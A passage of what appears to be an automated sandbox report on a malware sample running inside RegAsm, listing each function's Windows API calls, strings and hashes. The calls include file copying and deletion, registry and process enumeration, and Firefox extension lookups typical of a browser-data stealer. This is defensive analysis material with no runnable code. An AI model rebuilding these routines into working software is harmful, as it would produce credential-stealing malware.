Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

SetEnvironmentVariableA.KERNEL32(0146AB28,00000000,00000000,?,004212D8,?,00410153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AFE), ref: 0040A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A0B2, 0040A0C6, 0040A0DC

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction ID: 8fd865f7776555e91364b6e3317f0d6dd22ba45ac697d56d5a10bd23e480980a
Opcode Fuzzy Hash: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction Fuzzy Hash: F9418DB9941204BFCB04EFE5ED45BEA33B6BB0A305F05112EF405A32A0DB385985CB67

Function 00406BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jn@,@Jn@), ref: 00406C9F

Strings

@Jn@, xrefs: 00406C80, 00406C83
Jn@, xrefs: 00406BED, 00406C0D, 00406C8F
Jn@, xrefs: 00406C1D, 00406C39, 00406C88, 00406C98, 00406C04, 00406C28, 00406C33

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn@$Jn@$Jn@
API String ID: 544645111-1180188686
Opcode ID: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction ID: b746c2a28f05bbd6b1460d210bf7098c9bc173f160aa6dfc6dfdc57a011f18e7
Opcode Fuzzy Hash: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction Fuzzy Hash: FA213374E04208EFEB04CF84C544BAEBBB5FF48304F1181AAD54AAB381D3399A91DF85

Function 004183DC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegQueryValueExA.KERNEL32(00000000,014719A0,00000000,000F003F,?,00000400), ref: 004184EC
lstrlenA.KERNEL32(?), ref: 00418501
RegQueryValueExA.KERNEL32(00000000,014719D0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.KERNEL32(00000000), ref: 00418608

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseEnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 1452615360-4073750446
Opcode ID: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 0040A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,014706D8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01471B08,00420AFF), ref: 0040A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlenA.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 0040D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,014706D8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01471B08,00420BA6), ref: 0040D801
lstrlenA.KERNEL32(00000000), ref: 0040D99F
lstrlenA.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 0040F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421580,00420D92), ref: 0040F54C
lstrlenA.KERNEL32(00000000), ref: 0040F56B

Strings

moz-extension+++, xrefs: 0040F5AD
^userContextId=4294967295, xrefs: 0040F59C

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction ID: 431312e06e4e118a9a68feb07ac8eaa96768a2afdec7ba1937323e72019175af
Opcode Fuzzy Hash: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction Fuzzy Hash: 19516575D11108AACB04FBB1DC52DED7338AF54314F40852EF81667191EE386B9ACBAA

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00414F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414F7A
lstrcatA.KERNEL32(?,00421070), ref: 00414F97
lstrcatA.KERNEL32(?,0146ACC8), ref: 00414FAB
lstrcatA.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Function 00417E00 Relevance: 6.1, APIs: 4, Instructions: 58memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
HeapAlloc.KERNEL32(00000000), ref: 00417E3E
RegOpenKeyExA.KERNEL32(80000002,0146B870,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.KERNEL32(?,01471168,00000000,00000000,000000FF,000000FF), ref: 00417E7F

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
